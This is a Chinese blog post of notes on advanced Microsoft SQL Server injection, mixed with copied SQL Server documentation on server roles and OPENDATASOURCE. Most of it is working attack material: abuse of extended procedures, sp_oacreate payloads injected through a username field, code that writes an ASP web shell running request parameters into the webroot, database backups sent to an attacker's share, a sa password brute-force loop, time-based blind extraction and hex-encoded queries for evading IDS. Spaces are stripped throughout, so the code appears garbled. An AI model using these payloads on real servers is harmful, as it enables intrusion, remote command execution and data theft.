Mssql高级注入笔记II

2018-09-06 12:11

阅读:451

  一些sql扩展
xp_regaddmultistring
xp_regdeletekey删除键名
xp_regdeletevalue删除键值
xp_regenumkeys枚举
xp_regenumvalues
xp_regread对于
xp_regremovemultistring
xp_regwrite写
xp_availablemedia查看驱动器
xp_dirtree看目录
xp_enumdsnODBC数据源
xp_loginconfig一些服务器安全配置的信息
xp_makecab打包,某些dbo权限先可做大用
xp_ntsec_enumdomains枚举域名相关信息
xp_terminate_process终端进程和ip啦
xp_logininfo当前登录帐号
sp_configure检索数据库中的内容(我觉得这个挺有用的)
sp_helpextendedproc得到所有的存储扩展
sp_who2查询用户,他们登录的主机,他们在数据库中执行的操作等等

一些网络信息
execxp_regreadHKEY_LOCAL_MACHINE,
SYSTEM\CurrentControlSet\Services\lanmanserver\parameters,
nullsessionshares
SNMP辅助网络踩点
execxp_regenumvaluesHKEY_LOCAL_MACHINE,
SYSTEM\CurrentControlSet\Services\snmp\parameters\validcomm
unities

开始一些系统服务,比如telnet,前提希望可以跑来admin或者一些系统密码
execmaster..xp_servicecontrolstart,schedule
execmaster..xp_servicecontrolstart,server

Sp_addextendedprocxp_webserver,c:\temp\xp_foo.dll此扩展可以运行程序

使用bulkinsert语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:
createtablefoo(linevarchar(8000))
然后执行bulkinsert操作把文件中的数据插入到表中,如:
bulkinsertfoofromc:\inetpub\

bcpselect*fromtext..fooqueryoutc:\inetpub\wwwroot\runcommand.asp–c-Slocalhost–Usa–Pfoobar
S参数为执行查询的服务器,U参数为用户名,P参数为密码,这里为foobar

SQLSERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情
使用wscript.shell对象建立了一个记事本的实例:
declare@oint
execsp_oacreatewscript.shell,@oout
execsp_oamethod@o,run,NULL,notepad.exe
指定在用户名后面来执行它:
Username:;declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,notepad.exe—

使用FSO读一个已知的文本文件:
declare@oint,@fint,@tint,@retint
declare@linevarchar(8000)
execsp_oacreatescripting.filesystemobject,@oout
exec@ret=sp_oamethod@f,readline,@lineout
while(@ret=0)
begin
print@line
exec@ret=sp_oamethod@f,readline,@lineout
end

创建了一个能执行通过提交的命令,默认是asp那组权限的用户下运行,前提是sp_oacreate扩展存在
declare@oint,@fint,@tint,@retint
execsp_oacreatescripting.filesystemobject,@oout
execsp_oamethod@o,createtextfile,@fout,
c:\inetpub\wwwroot\foo.asp,1
exec@ret=sp_oamethod@f,writeline,NULL,
<%seto=server.createobject(wscript.shell):o.run(
request.querystring(cmd))%>

sp_who1select*fromsysobjects

针对局域网渗透,备份拖库或者非sa用户
declare@asysname;set@a=db_name();backupdatabase@atodisk=你的IP你的共享目录bak.dat,name=test;--
当前数据库就备份到你的硬盘上了
select*fromopenrowset(sqloledb,myserver;sa;,select*fromtable)回连,默认需要支持多语句查询

添加登录,使其成为固定服务器角色的成员。
语法
sp_addsrvrolemember[@loginame=]login
[@rolename=]role
参数
[@loginame=]login
是添加到固定服务器角色的登录名称。login的数据类型为sysname,没有默认值。login可以是Microsoft?SQLServer?登录或MicrosoftWindowsNT?用户帐户。如果还没有对该WindowsNT登录授予SQLServer访问权限,那么将自动对其授予访问权限。
[@rolename=]role
要将登录添加到的固定服务器角色的名称。role的数据类型为sysname,默认值为NULL,它必须是下列值之一:
sysadmin
securityadmin
serveradmin
setupadmin
processadmin
diskadmin
dbcreator
bulkadmin
返回代码值
0(成功)或1(失败)
注释
在将登录添加到固定服务器角色时,该登录就会得到与此固定服务器角色相关的权限。
不能更改sa登录的角色成员资格。
请使用sp_addrolemember将成员添加到固定数据库角色或用户定义的角色。
不能在用户定义的事务内执行sp_addsrvrolemember存储过程。
权限
sysadmin固定服务器的成员可以将成员添加到任何固定服务器角色。固定服务器角色的成员可以执行sp_addsrvrolemember将成员只添加到同一个固定服务器角色。
示例
下面的示例将WindowsNT用户Corporate\HelenS添加到sysadmin固定服务器角色中。
EXECsp_addsrvrolememberCorporate\HelenS,sysadmin

OPENDATASOURCE
不使用链接的服务器名,而提供特殊的连接信息,并将其作为四部分对象名的一部分。
语法
OPENDATASOURCE(provider_name,init_string)
参数
provider_name
注册为用于访问数据源的OLEDB提供程序的PROGID的名称。provider_name的数据类型为char,没有默认值。
init_string
连接字符串,这些字符串将要传递给目标提供程序的IDataInitialize接口。提供程序字符串语法是以关键字值对为基础的,这些关键字值对由分号隔开,例如:keyword1=value;keyword2=value.
在Microsoft?DataAccessSDK中定义了基本语法。有关所支持的特定关键字值对的信息,请参见提供程序中的文档。下表列出init_string参数中最常用的关键字。
关键字OLEDB属性有效值和描述
数据源DBPROP_INIT_DATASOURCE要连接的数据源的名称。不同的提供程序用不同的方法对此进行解释。对于SQLServerOLEDB提供程序来说,这会指明服务器的名称。对于JetOLEDB提供程序来说,这会指明.mdb文件或.xls文件的完整路径。
位置DBPROP_INIT_LOCATION要连接的数据库的位置。
扩展属性DBPROP_INIT_PROVIDERSTRING提供程序特定的连接字符串。
连接超时DBPROP_INIT_TIMEOUT超时值,在该超时值后,连接尝试将失败。
用户IDDBPROP_AUTH_USERID用于该连接的用户ID。
密码DBPROP_AUTH_PASSWORD用于该连接的密码。
目录DBPROP_INIT_CATALOG连接到数据源时的初始或默认的目录名称。

OPENDATASOURCE函数可以在能够使用链接服务器名的相同Transact-SQL语法位置中使用。因此,就可以将OPENDATASOURCE用作四部分名称的第一部分,该名称指的是SELECT、INSERT、UPDATE或DELETE语句中的表或视图的名称;或者指的是EXECUTE语句中的远程存储过程。当执行远程存储过程时,OPENDATASOURCE应该指的是另一个SQLServer。OPENDATASOURCE不接受参数变量。
与OPENROWSET函数类似,OPENDATASOURCE应该只引用那些不经常访问的OLEDB数据源。对于访问次数稍多的任何数据源,请为它们定义链接的服务器。无论OPENDATASOURCE还是OPENROWSET都不能提供链接的服务器定义的全部功能,例如,安全管理以及查询目录信息的能力。每次调用OPENDATASOURCE时,都必须提供所有的连接信息(包括密码)。
示例
下面的示例访问来自某个表的数据,该表在SQLServer的另一个实例中。
SELECT*
FROMOPENDATASOURCE(
SQLOLEDB,
DataSource=ServerName;UserID=MyUID;Password=MyPass
).Northwind.dbo.Categories

下面是个查询的示例,它通过用于Jet的OLEDB提供程序查询Excel电子表格。
SELECT*
FROMOpenDataSource(Microsoft.Jet.OLEDB.4.0,
DataSource=c:\Finance\account.xls;UserID=Admin;Password=;Extendedproperties=Excel5.0)...xactions

针对MSDASQL用存储过程建立的sql连接,在blackbox测试中,好象没什么注入区别
declare@usernamenvarchar(4000),@querynvarchar(4000)
declare@pwdnvarchar(4000),@char_setnvarchar(4000)
declare@pwd_lenint,@iint,@cchar
select@char_set=Nabcdefghijklmnopqrstuvwxyz0123456789!_
select@pwd_len=8
select@username=sa
while@i<@pwd_lenbegin
--makepwd
(codedeleted)
--tryalogin
select@query=Nselect*from
OPENROWSET(MSDASQL,DRIVER={SQLServer};SERVER=;uid=+@username+
N;pwd=+@pwd+N,select@@version)
execxp_execresultset@query,Nmaster
--checkforsuccess
(codedeleted)
--incrementthepassword
(codedeleted)
end

盲注技巧之一,时间延缓(可以加一个循环函数,运行查询时间越久说说明当前字段正确)
if(selectuser)=sawaitfordelay0:0:5

ifexists(select*frompubs..pub_info)waitfordelay0:0:5

createtablepubs..tmp_file(is_fileint,is_dirint,has_parentint)
insertintopubs..tmp_fileexecmaster..xp_fileexistc:\boot.ini
ifexists(select*frompubs..tmp_file)waitfordelay0:0:5
if(selectis_filefrompubs..tmp_file)>0waitfordelay0:0:5

字符对比
if(ascii(substring(@s,@byte,1))&(power(2,@bit)))>0waitfor
delay0:0:5
declare@svarchar(8000)select@s=db_name()if(ascii(substring(@s,
1,1))&(power(2,0)))>0waitfordelay0:0:5
declare@svarchar(8000)select@s=db_name()if(ascii(substring(@s,
1,1))&(power(2,1)))>0waitfordelay0:0:5

编码的秘密,饶过IDS
declare@qvarchar(8000)
select@q=0x73656c65637420404076657273696f6e
exec(@q)

Thisrunsselect@@version,asdoes:

declare@qnvarchar(4000)
select@q=
0x730065006c00650063007400200040004000760065007200730069006f006e00
exec(@q)

Inthestoredprocedureexampleabovewesawhowasysnameparametercancontain
multipleSQLstatementswithouttheuseofsinglequotesorsemicolons:

sp_msdropretry[foodroptablelogsselect*fromsysobjects],[bar]

嘻嘻,不知道这次被转走以后会不会看到偶的名字呢?~要有的话,就把高级注入笔记I也发出来


评论


亲,登录后才可以留言!